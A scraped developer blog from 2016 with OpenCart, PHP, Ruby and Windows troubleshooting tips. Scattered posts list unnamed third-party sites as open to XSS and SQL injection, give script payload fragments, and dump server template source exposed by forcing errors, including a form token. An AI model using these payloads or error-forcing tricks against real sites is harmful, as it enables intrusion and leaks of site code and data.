Saturday, 17 December 2016

Fatal error: Call to undefined function curl_init() in admin/controller/sale/order.php on line 84 - opencart

 When using the curl functionalities you need to enable the extension in your php.ini file

on windows:

on linux*:

It could happen, for example, on opencart with this error:
Fatal error: Call to undefined function curl_init() in admin/controller/sale/order.php on line 84 -

Tuesday, 13 December 2016

[FIX] PHPmyadmin - Fatal error: main(): The script tried to execute a method or access

Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "PMA\libraries\ThemeManager" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in \libraries\ on line 702

Fast solution - Just delete the cache in your browser :)

Thursday, 8 December 2016

Force ssl for all the pages (single domain) - force ssl for opencart

 #add this after RewriteEngine On and add your domain where to redirect

RewriteCond %{HTTPS} off
RewriteRule ^(.*)$$1 [L,R=301]

Tuesday, 6 December 2016

iframe not positioned correctly in chrome or safari (webkit) with rtl (ex. arabic language)

 iframe not positioned correctly in chrome or safari (webkit) with rtl (ex. arabic language)

I got a problem with an iframe like this one
<iframe src="page.html" width="360px" height="120px" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe>

I solved by just setting a fixed width from the CSS and chrome positioned the iframe as expected.

I spent 1 hour on this stupid thing and I really don't like to fix such an old crap.

Tuesday, 29 November 2016

Uniserver ZeroXI and php 5.6 not starting - not running on windows

After installing php 5.6 on uniform server (ZeroXI_php_5_6_16_p.exe)

Open your httpd.conf file

After <IfDefine php56> replace all the occurences from *53.dll to *54.dll  as showed below

<IfDefine php56>
  LoadFile ${US_ROOTF}/core/php56/icudt54.dll
  LoadFile ${US_ROOTF}/core/php56/icuin54.dll
  LoadFile ${US_ROOTF}/core/php56/icuio54.dll
  LoadFile ${US_ROOTF}/core/php56/icule54.dll
  LoadFile ${US_ROOTF}/core/php56/iculx54.dll
  LoadFile ${US_ROOTF}/core/php56/icutest54.dll
  LoadFile ${US_ROOTF}/core/php56/icutu54.dll
  LoadFile ${US_ROOTF}/core/php56/icuuc54.dll

Restart apache

Saturday, 26 November 2016

Unable to Connect to HTTPS localhost with java applications (screamingfrog, Beamusup)

Various programs are unable to connect HTTPS localhost or other urls with ssl.

This will fix:
https problems with Screaming Frog
https problems with Beamusup SEO crawler

Download Java Cryptography Extension (JCE) Unlimited Strength Jurisdiction Policy Files

Java 8 - Windows and *nix
Java 7 - Windows and *nix

Installation of the unlimited strength JCE policy files.

Uncompress and extract the downloaded file.
Copy "local_policy.jar" and "US_export_policy.jar" in your JAVA_HOME (JRE) installation folder under /lib/security.

For example (on windows):
C:\Program Files\Java\jre1.8.0_77\lib\security

 For example (on *nix):

On Mac OS x the folder is different:
/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/lib/security/

Opencart - create a php array of the countries IDs

A fast (not elegant) way to get an array of the countries iso codes and country ID from opencart. I just needed them to compare the data with an external source.
Just put the file in the Opencart folder (ex. arrayp.php).
I know that it's crap ...




    $dbconn = mysqli_connect(DB_HOSTNAME,DB_USERNAME,DB_PASSWORD) or die("Cannot connect to the database");
    mysqli_select_db($dbconn, DB_DATABASE) or die($dbconn->error());
    $sql_q = "SELECT CONCAT( '\'', `iso_code_2`, '\' => \'',`country_id`, '\', ' ) as arrcodes FROM `" . DB_PREFIX . "country`;";
    $result = mysqli_query($dbconn, $sql_q);
    if( !$result){ die($dbconn->error); }
    echo '$mycountries = array(' . "\r\n";
    // $queryResult = array();
    while($mres = $result->fetch_object()){
            echo "\t" . $mres->arrcodes . "\r\n";
    echo ");";
    // echo 'Done';


Thursday, 24 November 2016 | system compromise, several sql injections

Sql injection


Saturday, 12 November 2016

[ERROR] Could not open library 'libcurl' - mingw - Windows 10 64bit

[ERROR] Could not open library 'libcurl'.
Could not open library 'libcurl.dll'
Could not open library ''.
Could not open library '

download libcurl from this website (captcha is needed)
or from*&os=Win64&flav=-&ver=*&cpu=x86_64

Copy all the files from the /dll/ folder in your /bin/ folder.
Copy the "bin" and "lib" files in the respective folders.

I got problems with other versions of libcurl. If you have better mirrors just post a comment.

Unable to download data from - SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (

Unable to download data from - SSL_connect returned=1 errno=0 state=SSLv3 read server certificate B: certificate verify failed (

You have problems with your configuration.

In my case I have ruby 2.2.2p95

How to Fix it?
 - You can download and reinstall ruby (I know that you probably already did it or you don't want to do it).
- A workaround could be to append "--source" to your command line.
gem install bundler --source
- manually update ruby to the latest version. (easy to do)



gem install --local rubygems-update-2.6.7.gem

update_rubygems --no-ri --no-rdoc

Now your ruby should work again.

Ruby Gem not working on windows 10 (x32 x64) - sh: /bin/gem: C:/path/ruby.exe^M: bad interpreter: No such file or directory

 Ruby Gem not working on windows 10 (x32 x64) - sh: /bin/gem: C:/path/ruby.exe^M: bad interpreter: No such file or directory

Edit,ex with notepad, the file available in "bin/gem.bat"

(see below)
IF NOT "%~f0" == "~f0" GOTO :WinNT
@"ruby.exe" "C:/uselesswindowspath/bin/gem" %1 %2 %3 %4 %5 %6 %7 %8 %9
@"ruby.exe" "%~dpn0" %*

and replace

Then edit "bin/gem", and replace


Do the dame for any .bat file related to ruby (ex. jekyll) and you should not have other problems.

Sunday, 30 October 2016

Install kolibrios on USB from windows - It's Very Easy

Installing kolibrios on a usb pen drive (ex. an old 256mb usb pen ... or even 64mb) from windows is quite easy.

NOTE: kolibri OS is very fast but doesn't have a lot of drivers for networking and doesn't support WIFI at all (I checked it in the forums - october 2016).

Download the kolibri OS image

Download rufus

Run rufus

Select "create bootable disk using" -> DD Image

- Click on the disk to choose your kolibri.img image file.
 - Select "DD Image" on "create a bootable disk using".
- click on the CD Icon and select your kolibri.img file
- Click on run

That's all.

Friday, 28 October 2016 | XSS;%3C/script%3Es&bid=1

Friday, 21 October 2016

PCI\VEN_10EC&DEV_8168&SUBSYS_60321991&REV_06 - x64 windows 7 - windows 10


USB\VID_0CF3&PID_3000&REV_0200 drivers - X64 X86 - Windows 7 8 10

Atheros valkyrie bootrom
download from the asus website

ASUS Bluetooth Driver V7.3.0.100 for Windows Vista 32bit & Vista 64bit---(WHQL).
ASUS Bluetooth Driver V7.2.0.65 for Windows Win7 32bit & Win7 64bit---(WHQL).
ASUS Bluetooth Driver V7.2.0.83 for Windows XP 32bit & XP 64bit---(WHQL).

Wednesday, 5 October 2016

XSS, SQL Injection, data leak |


SQL query from error

SELECT AS id, excerpt, status, expire_Date, name, des-c-r-i-p-tion, region_id,doclink,dotfin, difficulty, title FROM facilities, facilities_regions, regions WHERE AND AND{id}

SQL Injection

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[MySQL][ODBC 5.3(a) Driver][mysqld-5.6.24-log]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''8, 5, 4, 6, 7) ) GROUP BY ORDER BY id desc' at line 1
/v3/includes/FunzioniDatabase.asp, line 72

Tuesday, 27 September 2016 | XSS


Tuesday, 6 September 2016

open the links of the carousel in a new page - opencart

Replace in catalog/view/theme/*/template/module/carousel.tpl

<a href="<?php echo $banner['link']; ?>">


<a href="<?php echo $banner['link']; ?>" target="_BLANK">

Sample Vqmod

    <name>carousel in a new page</name>

    <file path="catalog/view/theme/*/template/module/carousel.tpl">
            <search position="replace"><![CDATA[<a href="<?php echo $banner['link']; ?>">]]></search>
            <add><![CDATA[<a href="<?php echo $banner['link']; ?>" target="_BLANK">]]></add>

Friday, 19 August 2016

XSS and Sql injection |

XSS and Sql inj;%3C/script%3E | XSS;%3C/script%3E

Tuesday, 16 August 2016 |sql injections

SQL Injections in any part of the website

Thursday, 4 August 2016 | XSS<script>alert('xss');</script>

Sunday, 3 July 2016



Monday, 27 June 2016 | XSS problems

Simple XSS

Monday, 20 June 2016

[FIX] Ajax connection - Generic error with status code 0

In most cases the problem is quite is simple:
open your page from a specific url instead of opening it from a local path

For ex. Connect to http://localhost/yourpage.html instead of  file:///C:/yourpath/yourpage.html


Tuesday, 7 June 2016

ordine architetti | xss;%3C/script%3E%20%3C%22

Thursday, 2 June 2016

Fix background Image cover on Internet Explorer

Use the following CSS

filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='.backgroundimage.jpg', sizingMethod='scale');
-ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='
backgroundimage.jpg', sizingMethod='scale')";

ALERT: If you have random problems like dead links and similar use a fixed 100% (height and width) div container instead of html or body.

Tuesday, 31 May 2016

Xcode - File was built for archive which is not the architecture being linked armv7s or armv6s or i386

Xcode build/linking problem
When you are trying to run on an external device you can get this error.

I've spent a lot of time to find a solution.

Just make sure that "Build Active Architecture Only" is set to Yes for Debug and NO for Release (or you will get a warning when publishing/uploading the app in the store).
You can find the option in the "Build Settings" of your application in xcode.

Monday, 30 May 2016

Remove border, border radius, shadow from the owl slideshow in Opencart

 Open the owl css

and remove the following:

.owl-wrapper-outer {
    border: 4px solid #fff;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    -o-border-radius: 4px;
    border-radius: 4px;
    -webkit-box-shadow: 0 1px 4px rgba(0,0,0,.2);
    -moz-box-shadow: 0 1px 4px rgba(0,0,0,.2);
    -o-box-shadow: 0 1px 4px rgba(0,0,0,.2);
    box-shadow: 0 1px 4px rgba(0,0,0,.2);

that's all.

Works on opencart 2.2

Fix - Blank Page during the installation of Opencart 2.2! Step 3

Before anything check your Apache/PHP Error Logs.
The most common problem is during the "Step 3".

In most cases it's because opencart, I don't know why, doesn't like complex mysql passwords

One of the passwords that I used is: g)Ui#32s&g

Just change your mysql password with a *simpler* one.

Thursday, 26 May 2016

FIX - Invalid command: inetc::get or inetc::put with NSIS

 When you get one of the following errors:
  • Invalid command: inetc::get
  • Invalid command: inetc::put
You need to make sure that you have installed the inetc plugin that can be downloaded from the NSIS website.

If you still  have problems when compiling your script go to your NSIS folder (ex.: c:\Program Files\NSIS\Plugins) and copy INetC.dll from the "x86-unicode" or "amd64-unicode" subfolder.

If you have an x86 installation it should be better to use the x86-unicode.

How to get a full system report on windows without external software using only the command line

If you need a fast way to get a system hardware and software report on quite any windows Operating System you just need to run the following command:

msinfo32 /report report.txt

It's the best wayt to get system informations without instally any third party software.

It works on:
Windows 10
Windows 8.1
Windows 8
Windows 7
Windows vista
Windows xp (?)

Monday, 23 May 2016

How to remove the httrack/winhttrack hidden tags in the downloaded project

Just use a Regular Expression (ex. with notepad++ or sed or anything else)
<!-- Mirrored from.*?-->

and a plain replace for the following string

<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8"><!-- /Added by HTTrack -->

if you have problems or suggestions just add a comment.

Wednesday, 18 May 2016

Raise errors on to show the source code.


var URI = Request.getURI();

    //This provides default values if not supplied by the TAF or initial Salsa page
   var theTitle = "JVP: ";
    var theFBshare = "";
    var theFBshareTitle = "";
    var theFBshareImage = "";

        //This section is needed on the regular Salsa template only
        function getFbshare($path){
                 var redirect=$path;
                 newred = redirect.split("tell_a_friend_KEY=");
                 var tafkey = newred[1] ? newred[1].replace(/\D+/g,"") : "";
                 var taf=salsa.getObject("tell_a_friend",tafkey);
                 if (taf != null) {
                 if(taf.PT_facebook_share != null)  theFBshare = taf.PT_facebook_share;
                 if(taf.PT_facebook_title != null)  theFBshareTitle = taf.PT_facebook_title;
                 if(taf.PT_facebook_image != null)  theFBshareImage = taf.PT_facebook_image;

        function getRedirect($dbkey){           
                var table = db.getObject('database_table', $dbkey);
                 var ref = db.getObject(table.table_name, item.table_KEY);
                   if(table.table_name ==  'donate_page'){
                         theTitle=ref.Reference_Name ? ref.Reference_Name : "";
                         return ref.Reference_Name;
                   } else {
                    if(theFBshareTitle=="") theFBshareTitle=ref.Title;
                    if(theFBshareImage=="") theFBshareImage="";
                    return ref.Title;

        function getTitle(){

        var where = Request.getURI() ;
        var match = /[a-zA-Z0-9\-]+$/i.exec(where);

        if(match == 'signup') {
             match = null;

        if(match != null) {
            var shorturl = /[a-zA-Z0-9\-]+$/i.exec(where);
            var orderBy = 'Last_Modified DESC';
            var conditions = [ new Condition('slug', 'IN', shorturl)];
                var items = db.getObjects('publish', conditions, orderBy);
                for each (item in items) {
        } else {
            var lists =Request.getParameterList();
            for each (list in lists) {
               var holdlist = list.value;
               var orderBy = 'Last_Modified DESC';
               var conditions = [ new Condition('table_KEY', '=', list.value) ];
               var items = db.getObjects('publish', conditions, orderBy,1);
                for each (item in items) {

           } // end for each

        } // end match if
        } //end get title function

if (Request.hasParameter("test")) {
//var reTest = db.getObject("action","18118");
// print(reTest.redirect_path);
var listsT =Request.getParameterList();
            for each (list in listsT) {
if (!isNaN(list.value)) {
               var orderByT = 'Last_Modified DESC';
               var conditionsT = [ new Condition('table_KEY', '=', list.value) ];
               var itemsT = db.getObjects('publish', conditionsT, orderByT,1);
                 var refT = db.getObject("action", itemsT[0].table_KEY);
var redirectT=refT.redirect_path;
                 var newredT = redirectT.split("tell_a_friend_KEY=");
                 var tafkeyT = newredT[1].replace(/\D+/g,"");


 <!DOCTYPE html>
<!--[if lt IE 7]> <html class="ie6 ie" lang="en" dir="ltr"> <![endif]-->
<!--[if IE 7]>    <html class="ie7 ie" lang="en" dir="ltr"> <![endif]-->
<!--[if IE 8]>    <html class="ie8 ie" lang="en" dir="ltr"> <![endif]-->
<!--[if gt IE 8]> <!--> <html class="" lang="en" dir="ltr"> <!--<![endif]-->
<!--SEO meta tags-->
<title><?=theTitle?>    <?=getTitle()?> </title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <meta name="title" content="<?=theFBshareTitle?>" />
        <meta name="description" content="<?=theFBshare?>" />
        <link rel="image_src" href="<?=theFBshareImage?>" />
<!--Facebook meta tags-->       
         <meta property="og:title" content="<?=theFBshareTitle?>"/>
         <meta property="og:image" content="<?=theFBshareImage?>"/>
         <meta property="og:site_name" content=""/>
         <meta property="og:description" content="<?=theFBshare?>"/>

<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
<link rel="shortcut icon" href="/o/301/images/favicon.ico" type="image/x-icon" />
<link href="" rel="Stylesheet" type="text/css">
      <link type="text/css" rel="stylesheet" media="all" href="/o/301/images/11937/aggregated5-4-11v4.css" />
<link type="text/css" rel="stylesheet" media="print" href="/o/301/images/11937/print-css-5-4-11.css" />
      <script type="text/javascript" src="/o/301/images/11937/js-5-4-11.js"></script>
      /*Client specific fixes */
      body {background:none;color:#313131 !important;}
      #name-and-slogan, #logo-title {background:none !important;}
          #logo-title{margin: 5px 0px 0px 45px;}
      #footer {background-color:#999 !important; font-size:16px !important;}
      .bare #footer, .bare #header {display:none;}
      body .supporterInfo .formRow .checkbox {width:auto !important;}
      #page, #salsa, #main {max-width: inherit; min-width: inherit;}
      #salsa {width: 94%; padding: 3%;} {width: 100%;}
      body .supporterInfo {padding: 0;}
#main {width:100%;}
#videoContainer {
    position: relative;
    width: 90%;
    height: 0;
    padding-bottom: 50.75%;
.video {
    position: absolute;
    top: 0;
    left: 5%;
    width: 100%;
    height: 100%;
#salsaDonationHeader {background-color:#f7f7f7 !important;border-radius:3px; box-shadow:none !important;}
#submitContribution{background-color: #ea6847 !important;}
#salsa .submit, #main .submit {margin: 2em 0;}
#salsa .actioncontent, #salsa .targets, #salsa .diaFields, #main .actioncontent, #main .targets, #main .diaFields {margin: 0;}
    /*Salsa universal style fixes*/
    .supporterInfo {clear:none !imoprtant; float: left; width:300px; }
    #supporter {max-width: 280px; display: block;}
    .salsa fieldset {border: 1px dotted #000000 !important; width: auto; /*max-width: 275px;*/ padding: 5px 0px 20px 10px !important; margin-top: 10px !important;}
    legend {color: #454545 !important; display: inline; font-size: 15px !important; font-variant: normal; font-weight: bold !important; text-transform: uppercase; padding: 0 5px !important;}
    .salsa label {font-size:14px !important;}
    #questionnaireForm {margin:0 5%;}
    #questionnaireQuestions .formRow .salsaradio, #questionnaireQuestions .formRow label.radioLabel {border-width: 0; clear: inherit; display: inline; float: left; margin-right: 0.5em; }
    .radio {clear: left; color: #333333; display: list-item;float: left; font: 11px Verdana; margin: 3px 5px 3px 0; padding: 0; }
    #questionnaireQuestions .formRow input.required, #questionnaireQuestions .formRow select.required, #questionnaireQuestions .formRow textarea.required { clear: left; font-weight: normal; }
    .checkbox { clear: left; color: #333333;display: list-item; float: left; font: 11px Verdana; margin: 3px 5px 3px 0; padding: 0; }
    .salsa .formRow {padding-left: 0 !important;}
    #postalCodeForm {font-style: italic; }
    .salsa input, .salsa select, .salsa textarea, .salsa form p { font-size: 14px !important; font-family: 'arial'; }
    .salsa input[type="text"], .salsa input[name="Title"], .salsa input[name="institution"] { width: 100% !important; border-radius: 3px 3px 3px 3px; padding: 10px 5px !important; }
//    .salsa textarea { width: 100% !important;}
    .state_dropdown, .salsa_country { width: 260px; border-radius: 3px 3px 3px 3px; padding: 10px 5px !important; }
    #tempPostalCode { border-radius: 3px 3px 3px 3px; padding: 10px 5px !important; }
    .goalTitle {font-size: 25px;font-family: Arial;font-weight: bold;color: rgb(72, 145, 220);}.goalSofar {font-size: 15px;font-family: Arial;font-weight: bold;color: rgb(72, 145, 220);}
    #mainForm #target-page + #sign-page .submit {clear: none !important;}
    .salsa .submit, .salsa input[type="button"] { display: inline; height: 30px; border-radius: 3px 3px 3px 3px; margin-top: 10px; background-color: #cb4d26; color: #fff;  font-size: 1.5em !important; min-height: 53px !important; cursor: pointer; }
    .petitionContent {background-color: #A8A34D !important;  border: 1px solid #888; color: #FFF; border-radius: 4px; box-shadow: 1px 1px 3px 3px rgba(0, 0, 0, 0.2);  max-height: 600px;  overflow: auto;  padding: 17px; float: right; clear: right; width: 50%; margin: 30px 3% 0 !important;}
    .salsa .description {float: left; }
    .addressSearch {float: left; width: 90%;}
    /*Code to allow for seperate mobile & desktop content in the description section*/
    @media screen and (max-width: 640px) {
    .description img, .description #desktop {display: none !important;}
    .description #mobile_more {display: none;}
    .description #mobile {display: block;}
    @media screen and (min-width: 641px) {
    body {background: none !important;}
    .description #mobile, .description #mobile_more {display: none;}
    .description #desktop {display: block;}
    @media screen and (max-width: 900px) {
    body {background: none !important;}
    .petitionContent { float: none; width: 90%; margin: 0 !important; }
    /***Salsa Signup Page Styles ***/
    form[name=data] .supporterInfo {width: 100%;}
    #actionfooter {float: left;}
    /***Salsa Targeted Action Styles ***/
    @media screen and (min-width: 1020px) {
    #salsa-action+#target-page {width: 60% !important; min-width: 430px;}
    #target-page .actioncontent /*.salsa #target-page input.wide, .salsa #target-page textarea*/  {width: 60% !important; min-width: 250px !important; }
    .actioncontent {margin-right: 5% !important; }
    .targets {min-width: 160px; float: left;max-height: inherit !important;width: 30% !important; }
    .contentSet { overflow: inherit !important }
    #target-page+#sign-page {min-width:270px; /* width: 35% !important; */ margin-left: 5% !important; /*float: right !important;*/ }

    @media screen and (min-width: 641px) and (max-width: 1019px) {
    #salsa-action+#target-page {width: 100% !important; min-width: 430px;}
    /*#target-page .actioncontent,*/ .salsa #target-page input.wide, .salsa #target-page textarea {width: 100% !important; min-width: 250px !important; }
    .actioncontent {margin-right: 5% !important; }
    .targets {min-width: 160px; float: left;max-height: inherit !important;width: 30% !important; }
    .salsa .recipient {display: inline-block !important;}
    .contentSet { overflow: inherit !important }
    #target-page+#sign-page {min-width:270px; width: 100% !important; float: left !important; }

    @media screen and (max-width: 640px) {
    .contentSet { overflow: inherit !important; width: 100%; }
    #salsa-action+#target-page {width: 100% !important; min-width: 270px;}
    .actioncontent /*.salsa input.wide, .salsa textarea*/  {width: 100% !important; min-width: 250px !important; }
    .targets {min-width: 160px; float: left;max-height: inherit !important;width: 100% !important; }
    .salsa .recipient {display: inline-block !important;}
    #target-page+#sign-page {min-width:270px; width: 100% !important; float: left !important; }
.supporterInfo {width: 100%;}
    /*Donation styles */
    #salsaDonationHeader {/*float: left;*/ clear: both; font-size: 14px;}
    #salsaDonationHeader #desktop {display: block;}
    #salsaDonationHeader #mobile,  #salsaDonationHeader #mobile_more {display: none;}
    .donation #left_container {width: 45% !important; min-width: 255px; margin-right: 10% !important; float: left !important;}
    .donation #right_container {width: 45%; float: left !important; min-width: 255px;}
    .donation .supporterInfo {width: 100%;}
    .donation_category {color: #454545 !important; font-weight: 700 !important; font-size: 1.2em !important; line-height: 1.3em !important; margin-top: 1em;}
    #monthly_amounts .clearall, #other_amounts .clearall {clear:both;}
    #monthly_amounts input[type="radio"], #other_amounts input[type="radio"] {padding:0; border:0;background:transparent;}
    #monthly_amounts .formRow, #other_amounts .formRow {clear: none !important;        float: left; display: inline-block;    width: 65px; margin: 5px 5px 0px 0px;}
    #monthly_amounts .formRow label, #other_amounts .formRow label {float: none;    display: inline;}
    #monthly_amounts .formRow #otheramt, #other_amounts .formRow #otheramt {margin: 0;}
    #monthly_amounts div.otherRow, #other_amounts div.otherRow {width: 100%;}
    #monthly_amounts div.otherRow > label, #other_amounts div.otherRow > label {margin-right: 0;}
    #monthly_amounts, #other_amounts {width: 265px;    clear: both;}
    #otheramt {width: 50px !important;}
    #donation_amount input[type="radio"] {width: 10px;}
    .donation #submit, #salsaDonationFooter {float: left; margin: 10px 0 0; text-align: left !important;}
    #donation_amount .clearall {clear:none !important;}
    #donation_amount table { margin: -15px 0 0 -3px; }
    #donation_amount input[type="radio"] {padding:0;border:0;        background:transparent;}
    #donation_amount #recurrence {margin-bottom: 1em !important;}
    #donation_amount > .formRow {clear: none !important; float: left; display:inline-block;    width: 100px; margin: 5px 5px 0px 0px;}
    #donation_amount .formRow label {float: none; display: inline;}
    #donation_amount .amount_label { margin-right: 10px;}
    #donation_amount > .formRow #otheramt {margin: 0;}
    #donation_amount div.otherRow {width: 100%;}
    #donation_amount div.otherRow > label {margin-right: 0;}
    #recurring_options div.formRow{display:inline;}
    .donation { min-width: 265px !important; }

    @media screen and (min-width: 680px) {
//    .donation #submit, #salsaDonationFooter {float: right;}
    .donation #submit {margin: -40px 0 0 !important;}

    @media screen and (max-width: 679px) {
    #salsaDonationHeader img, #salsaDonationHeader #desktop {display: none !important;}
    #salsaDonationHeader #mobile {display: block;}
    .donation #left_container, .donation #right_container, .donation #submit, #salsaDonationFooter {width: 100% !important;}
<link rel="stylesheet" href="unsubscribe.css" type="text/css" media="screen" />
<script type="text/javascript" src="/salsa/include/loadjquery.js"></script>
<script type="text/javascript" src="unsubscribe.js"></script></head>
  <body class="not-front not-logged-in page-node node-type-page two-sidebars page-content-temp section-content">
    <div id="page">
          <div id="header">
     <div id="logo-title">
            <div id="name-and-slogan"><a href=""><img src="/o/301/images/Salsa-Donate-Header-Logo.png" /></a>
             </div> <!-- /name-and-slogan -->

     </div> <!-- /logo-title -->
                      </div> <!-- /header -->

                <!--  Mobile NAVIGATION  -->
  <div id="mobile-navigation">

      <!-- ______________________ MAIN _______________________ -->
      <div id="main" class="clearfix">
         <div id="content" class="page"><link rel="stylesheet" type="text/css" href="/salsa/include/css/dia/api/salsa.css"/><h3 class='title'>Unsubscribe</h3><h4 class='header'></h4><form name="unsubscribedata" action="process.sjs" method="POST" id="salsa-unsubscribe-form" class="salsaform" enctype="application/x-www-form-urlencoded"  >
<input type="hidden" id="org_0" name="org" value="" class="salsainput"  />
<input type="hidden" id="email_blast_KEY_1" name="email_blast_KEY" value="1344648" class="salsainput"  />
<input type="hidden" id="first_name_NaN_2" name="first_name_NaN" value="" class="salsainput"  />
<input type="hidden" id="token_3" name="token" value="edwhPmoqhazWbfk2YD8BFeC8LS8FVdIgjzdA42r01Q3e7lv1AiuORA4bFQR9ORdl" class="salsainput"  />
<div id='unsubscribe-type' class='spacer'>Unsubscribe from: </div><div class='formRow'><input id="remove-forever" type="radio" name="remove" value="0" class="salsainput salsaradio" title="remove from all lists. Warning: will prevent you from receiving any e-mails from this organization." checked="checked"/>
<label class="radioLabel" for="remove-forever" title="remove from all lists. Warning: will prevent you from receiving any e-mails from this organization.">Everything. Permanently remove me from all lists.</label>
</div><div class='formRow'><input id="remove-some" type="radio" name="remove" value="1" class="salsainput salsaradio" title="please check mailing lists that you no longer wish to receive" />
<label class="radioLabel" for="remove-some" title="please check mailing lists that you no longer wish to receive">The following lists:</label>
</div><div class='formRow'><fieldset class='checkboxes checkboxes-fieldset'><legend></legend><div class="checkbox"><input type="checkbox" id="salsacheckboxes_6-checkbox-0" name="groups_KEY" value="102764" class="salsainput salsacheckbox" title="remove from Main List" checked="checked"  />
<label class="checkboxLabel" for="salsacheckboxes_6-checkbox-0" title="undefined">Main List | Don't unsubscribe me completely, just send me fewer emails!</label>
</div><!-- div.checkbox --></fieldset><!-- fieldset.checkboxes --></div><input type="hidden" id="redirect_7" name="redirect" value="followUp" class="salsainput"  />
<input type="submit" id="Unsubscribe_8" class="submit" value="Unsubscribe" title=""  />
<button type='button' class='cancel' >cancel</button></form> <!-- #salsa-unsubscribe-form -->
<script type="text/javascript">
    $("#salsa-unsubscribe-form button.cancel").click( function(event) {
        if (event.button) return true;
        document.location.href = "cancel.sjs";
</script><!-- TemplateEndEditable --></div> <!-- /content-inner /content -->
        <div class="content">
          <div id="leftbar">

           <!-- /sidebar-left -->        
      </div> <!-- /main -->
      <!-- ______________________ FOOTER _______________________ -->
                  <div id="footer">
                            <div id="block-block-1" class="block block-block odd footer_block">
    <div class="block-inner">

        <div class="content">
          <p><span></span></p>        </div>
    </div> <!-- /block-inner -->
</div> <!-- /block -->                          </div> <!-- /footer -->
    </div> <!-- /page -->
var orgID = salsa.organization_KEY;

var action_KEY = Request.hasParameter("action_KEY") ? Request.getParameter("action_KEY") : 0;
var direction = Request.hasParameter("direction") ? Request.getParameter("direction") : "down";

if(action_KEY > 0){
var sigopt = DB.getObject("action", action_KEY).Signatures.toJSON();

//if(action_KEY > 0 && sigopt != '"Do not show signatures"') {
if(action_KEY > 0 && sigopt == '"Show number and most recent signers"') {
    var query = "SELECT supporter.First_Name,supporter.Last_Name,supporter.City,supporter.State,supporter.Country,supporter_action.Date_Created,supporter_action_comment.Comment,supporter_action.Anonymous FROM supporter LEFT JOIN supporter_action ON (supporter.supporter_KEY=supporter_action.supporter_KEY) LEFT JOIN supporter_action_comment ON (supporter_action.supporter_action_comment_KEY=supporter_action_comment.supporter_action_comment_KEY) WHERE (supporter.organization_KEY = "+orgID+" AND supporter_action.organization_KEY = "+orgID+") AND ( supporter_action_comment.organization_KEY = "+orgID+" OR supporter_action_comment.supporter_action_comment_KEY IS NULL) AND supporter_action.action_KEY ="+action_KEY+" ORDER BY supporter_action.Date_Created DESC LIMIT 25;"
    var handler = DB.sql(query);
    var supporter_actions = handler.execute();
    <div id="marquee" style="display: none;" direction="<?=direction?>" speed="1">
    for each(sa in supporter_actions) {
    if (sa.Anonymous !="1") {
    print("<div class=\"petition_signer\">"+sa.First_Name+" "+sa.Last_Name+" in "+sa.City+", "+sa.State+" "+sa.Comment+"</div>");
    else {
    print("<div class=\"petition_signer\">Anonymous in "+sa.City+", "+sa.State+" "+sa.Comment+"</div>");
.signatures {margin-bottom: 10px;}
.petition_signer {margin: 10px 0; white-space: normal;}
#marque_div {width: 100% !important;}
<script type="text/javascript">

$(document).ready(function() {

var urly = window.location.pathname;
if (urly.indexOf("profile") > -1) {
$("#main").html('<h1 style="text-align:center;margin:10%;">To make changes to your information, please contact us at</h1>');


if ($("body").hasClass("caltest")) {
  $('.salsa label').css('font-size','14px');
  $('.supporterInfo > br:nth-child(2),#salsa > br:nth-child(2),#salsa > br:nth-child(3)').remove();

if ($("body").hasClass("Yotest")){
  var src = $("#description img").attr("src");
  var alt = $("#description img").attr("alt");
  $("#description img").remove();
  $("#name-and-slogan img").attr("src",src).attr("alt",alt);

/* Multi Target Petition form to top fix */

    $(".letterContent label").hide();

if (sigopt == '"Show number and most recent signers"') {
<script type="text/javascript" src="/o/301/images/jquery.marquee_new.js"></script>
<script type="text/javascript">
$(document).ready(function() {

    var width = window.innerWidth;
    // document.getElementById("width").innerHTML = width;
    // if (width > 767) {
    var scroller = $('#marquee').html();
    $('#signers-page').append("<div id=\"marquee_new\" direction=\"<?=direction?>\" speed=\"1\">"+scroller+"</div>");

var uri = '<?=URI?>';
if (uri.indexOf('questionnaire') > 0) {
  var val = $(this).val();
  var trig = $(this).parents('div.formRow').prev().find(".trigger").attr('class').replace("trigger ","");
  var hid = $(".hide."+trig+"."+val).length;
  if (hid > 0) {


  <script type="text/javascript">
    $(document).ready(function() {
        if (RegExp('action_KEY=\\d+').test(window.location.href)) {
            var intervalTimer = null;
            var actor = function() {
                    if ($('#groups').length > 0) {
                        $('#groups :checkbox').attr('checked', '')
                        if (intervalTimer != null) {
                // Hide the stuff on the front page for blind targeted actions.

            // Runs until the page is exited so that all AJAX-loaded pages are handled.
            intervalTimer = setInterval(actor, 200);


<script type="text/javascript">

  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

  ga('create', 'UA-137791-1', 'auto', {'allowLinker': true});
  ga('require', 'linker');
  ga('linker:autoLink', [''] );
  ga('send', 'pageview');


<!--[if lt IE 7 ]>
<script src="/o/455/images/12474/latest.v2.js" type="text/javascript" charset="ISO-8859-1"></script>
<script type="text/javascript">var ftf = new ftf();ftf.init();</script>

</html>                                                                                                                                                                                                       There was an error parsing this template. TypeError: Cannot call method "split" of undefined &#40;pageScript&#35;16&#41;

Sunday, 15 May 2016

SOLUTION Firefox devtools always debugging and giving the message "debugger is paused"

write in the address bar


and press return

to false

Add your comment if you have other problems related to Firefox Dev Tools.

Tuesday, 10 May 2016

How to convert cdr to iso on mac osx - very easy

from the terminal type

$ cp diskimage.cdr diskimage.iso

If you like the GUI just duplicate the file and change the file extension from the Finder. The extensions should be enabled in the finder preferences.

In most cases it should be enough and a lot

you have problems with your ISO file try the following command

